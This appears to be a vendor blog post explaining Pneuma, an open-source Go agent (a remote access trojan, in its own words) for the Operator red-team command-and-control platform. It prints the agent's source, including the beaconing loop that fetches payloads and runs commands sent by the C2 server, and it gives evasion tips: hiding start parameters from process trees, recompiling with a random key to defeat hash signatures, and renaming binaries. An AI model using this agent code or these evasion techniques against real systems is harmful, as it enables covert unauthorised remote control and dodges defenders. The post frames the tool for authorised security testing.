Meet Pneuma

The agent designed for Prelude Operator is more than meets the (Third)eye

You may have noticed that the first few agents available within Operator share a similar naming convention: TOOL songs. A favorite on the Prelude team, TOOL songs have a lot of variety and specificity which can help describe the form and function of an Operator agent. There's Pneuma, our functional example agent, PneumaEX, our closed-source extended version, ThirdEye, the agent built into each instance of Operator itself, and Schism, a closed-source Python agent (coming soon!).

Today, we're going to focus on Pneuma, our powerful open-source agent that is configured to describe all the core functions of working with Operator, so you can either use it operationally or as an example for building your own agents.

The functionality

Before we dive into the code, let's back up and talk about function.

An agent, or Remote Access Trojan (RAT) in the malicious sense, is a file or process on a computer which allows for remote code execution (RCE) on the computer. Agents come in many flavors and programming languages but their basic function remains the same: run on a target system and never be detected. During its stay, an agent wants to execute commands dispatched from a command-and-control center (C2) - Operator in our case - and it'll want to send the results of the executed commands back to the C2 operator.

The language

Pneuma is written in the Golang language, which was founded by Google in 2009. We chose Golang for our default agent because it can easily cross-compile for all the popular operating systems, such as Linux, MacOS and Windows. You are even able to compile a Windows binary (for example) from a Linux computer, a compiling feature that is not available in all cross-compiled frameworks (take ElectronJS, for example, which - aside from some complex workarounds - only allows you to compile a binary for the OS you are currently on).

The code

Pneuma is open-source, which means the code is freely available.

You can grab a copy here. Feel free to clone it now to follow along.

Once you have the code downloaded, and assuming Operator is running on your computer, go ahead and try these four commands:

go run main.go -contact tcp -address 127.0.0.1:2323 
go run main.go -contact udp -address 127.0.0.1:4545 
go run main.go -contact grpc -address 127.0.0.1:2513 
go run main.go -contact http -address http://127.0.0.1:3391

These are the basic start commands for Pneuma, one for each supported protocol. Note that you don't install the Pneuma agent on the computer under test. Pneuma requires no installation or special privileges. It is intended to be realistic and therefore should operate as if an adversary were using it.

Main.go

If you've used Golang before, you'll recognize main.go as the starting point for the agent execution, specifically because it has the only main() function in the code base.

func main() {
name := flag.String("name", pickName(12), "Give this agent a name")
contact := flag.String("contact", "tcp", "Which contact to use")
address := flag.String("address", "0.0.0.0:2323", "The ip:port of the socket listening post")
group := flag.String("range", "red", "Which range to associate to")
sleep := flag.Int("sleep", 60, "Number of seconds to sleep between beacons")
useragent := flag.String("useragent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36", "User agent used when connecting")
flag.Parse()
sockets.UA = *useragent
if !strings.Contains(*address, ":") {
log.Println("Your address is incorrect")
os.Exit(1)
}
log.Printf("[%s] agent at PID %d using key %s", *contact, os.Getpid(), key)
sockets.CommunicationChannels[*contact].Communicate(*address, *sleep, buildBeacon(*name, *group))
}
view raw main.go hosted with ❤ by GitHub

This function shows the optional parameters you can use when starting Pneuma.

You can start Pneuma simply with go run main.go, which will use TCP by default with the address of 0.0.0.0:2323. You can modify these default values in the main function to start your agent pointed at a specific IP address without the parameters showing up in the process tree.

The most notable parameters are:

  • Name: give your agent an identifying, unique name, otherwise a 12-character random name is generated.

  • Contact: your preferred protocol.

  • Address: the network address of your Operator instance, or redirector to Operator, if applicable.

  • Group: the range you want to put this agent into when it beacons into Operator.

  • Sleep: The "jitter" time between beacons. This is a baseline number of seconds, which when used, is actually a % of the value. For instance, if you leave the sleep at the default of 60 seconds, the actual sleep between beacons will be +/- 10% of 60 seconds (54-66 seconds) depending on which contact you selected. Why jitter? A defense may zero in on beacons that are too consistently timed.

The last line (16) in the main function is where the code branches off.

Here, we are using the strategy design pattern to dynamically select a contact object.

In computer programming, the strategy pattern is a behavioral software design pattern that enables selecting an algorithm at runtime. Instead of implementing a single algorithm directly, code receives run-time instructions as to which in a family of algorithms to use. — Wikipedia

There is a single object per protocol (i.e., contact), which you can see in sockets directory:

Here's how it works.

When the agent starts, the init function in each raw*.go file fires, which adds the given protocol to the CommunicationChannels object. Here is the init for rawhttp.go.

func init() {
CommunicationChannels["http"] = HTTP{}
}
view raw http1.go hosted with ❤ by GitHub

This object is defined on the contact.go interface:

//Contact defines required functions for communicating with the server
type Contact interface {
Communicate(address string, sleep int, beacon Beacon)
}
//CommunicationChannels contains the contact implementations
var CommunicationChannels = map[string]Contact{}
view raw contact.go hosted with ❤ by GitHub

So by the time main.go executes, the CommunicationChannels object has a record of each protocol and the corresponding module it belongs to. This allows us to leverage an interface to dynamically load the correct module, instead of a giant if/else block to select it.

When we call the Communicate function of the selected contact, note that we are building our beacon inline as a parameter. This function is as follows:

func buildBeacon(name string, group string) sockets.Beacon {
pwd, _ := os.Getwd()
executable, _ := os.Executable()
return sockets.Beacon{
Name: name,
Range: group,
Pwd: pwd,
Location: executable,
Platform: runtime.GOOS,
Executors: util.DetermineExecutors(runtime.GOOS, runtime.GOARCH),
Links: make([]sockets.Instruction, 0),
}
}
view raw main1.go hosted with ❤ by GitHub

Using the name and selected group, we build a basic Beacon object (structure defined in contact.go) which we are able to send to Operator later on. This beacon contains the required properties for this connection.

If building your own agent, note these fields carefully. The Pneuma README gives additional details on them which we won't go into here.

HTTP contact

Let's pretend you started Pneuma with the HTTP contact (protocol).

go run main.go -contact http -address http://localhost:3391 

This will immediately call the rawhttp.go module, via the Communicate function:

func (contact HTTP) Communicate(address string, sleep int, beacon Beacon) {
checkValidHTTPTarget(address, true)
for {
beacon.Links = beacon.Links[:0]
for {
body := beaconPOST(address, beacon)
var tempB Beacon
json.Unmarshal(body, &tempB)
if(len(tempB.Links)) == 0 {
break
}
for _, link := range tempB.Links {
var payloadPath string
if len(link.Payload) > 0 {
payloadPath = requestPayload(link.Payload)
}
response, status, pid := commands.RunCommand(link.Request, link.Executor, payloadPath)
link.Response = strings.TrimSpace(response)
link.Status = status
link.Pid = pid
beacon.Links = append(beacon.Links, link)
}
}
jitterSleep(sleep, "HTTP")
}
}
view raw http2.go hosted with ❤ by GitHub

This function does the real work. It immediately verifies that the network connection is good. If a firewall is preventing the agent from connecting, this will "fail fast", meaning the agent will stop and print a log line describing the problem.

Assuming the connection is ok, we enter a forever-loop, as denoted with the “for{ }” syntax. This loop is intended to never end, unless the process is force-killed.

The HTTP contact differs from TCP in that it is a ping/pong, request/response behavior versus a persistent connection. Each protocol has its pros/cons depending on how and where you want to use it. In Operator, we try to support as many popular protocol options as possible, to allow you to weigh the trade-offs for your particular case and select accordingly.

Within the loop, we:

  • Reset the beacon's links (instructions from Operator)

  • Send the beacon to Operator over a POST request

  • Read the response into a GO JSON object.

  • If there are no instructions from Operator, we break and immediately jitter.

  • If there are instructions, we loop through each, download payloads (if applicable), execute the commands, and attach the results to the beacon. The beacon will be sent back to Operator on the next iteration of the loop.

Let's focus on the jitter for a second.

func jitterSleep(sleep int, beaconType string) {
rand.Seed(time.Now().UnixNano())
min := int(float64(sleep) * .90)
max := int(float64(sleep) * 1.10)
randomSleep := rand.Intn(max - min + 1) + min
log.Printf("[%s] Next beacon going out in %d seconds", beaconType, randomSleep)
time.Sleep(time.Duration(randomSleep) * time.Second)
}
view raw jitter.go hosted with ❤ by GitHub

The jitter function is given a sleep integer (in seconds) and the contact requesting it. The seconds is +/- 10%, giving it that random value we described earlier.

More code explained

Pneuma's code base includes two more directories we didn't call out explicitly in this post but are used implicitly by the code we described:

  • util: This directory contains utility functions that the rest of the source code shares.

  • commands: This directory contains the module that actually executes an instruction from Operator. It is not tied to a specific contact module because regardless of which protocol Pneuma is using, the instructions are abstracted away from it and can execute the same. This means that an instruction you run when connected via TCP will be identical to one while on HTTP, UDP or gRPC.

Getting ready for production

Have a handle on Pneuma's source code and ready to take it into a security assessment? Great! Here are a few tips.

Start by adjusting the parameters in main.go. Instead of starting your agent with:

go main.go -contact http -address http://localhost:3391

You want to start it like this, so the parameters aren't easily detected when a defender looks at process trees or logs.

go main.go 

Simply change the default value for these parameters to achieve this.

Next, because most computers under test won't have Golang installed, you need to compile the code into a single file. Run the build.sh script at the root of the project, which compiles the source code into three separate binaries, one for each operating system: MacOS, Linux and Windows, storing them in the payloads directory.

Note the main.key=${1} snippet. When you run build.sh, you should do so with a random string parameter, such as:

./build.sh JWHQZM9Z4HQOYICDHW4OCJAXPPNHBA 

This random key will ensure the code is compiled with a different file hash each time, which allows you to avoid file-based signature detection.

Signature-based detection is a process where a unique identifier is established about a known threat so that the threat can be identified in the future. In the case of a virus scanner, it may be a unique pattern of code that attaches to a file, or it may be as simple as the hash of a known bad file. — Bricata

Once your agent is compiled, instead of starting it with main.go, you will start it with any of these:

./pneuma-darwin  
./pneuma-linux 
./pneuma-windows.exe  

You may want to consider renaming these files before you start your assessment, just in case your defenses start to recognize the file names and only look for those, not the behaviors (i.e., results) of the agent itself.

Now you're ready to go. Simply copy your agent file over to the computers you want to test, start them and head back to Operator to conduct your security assessment.


We hope you've enjoyed this under-the-covers tour of the open-source Pneuma agent. This project is open-source for a reason, so feel free to make adjustments and customizations for your own use case. Also feel free to ask questions, ask for features and make contributions to the GitHub project.

Our goal is to make security accessible to all and to simplify any complexity that blocks this from happening. We'd love to get your feedback on how we're doing!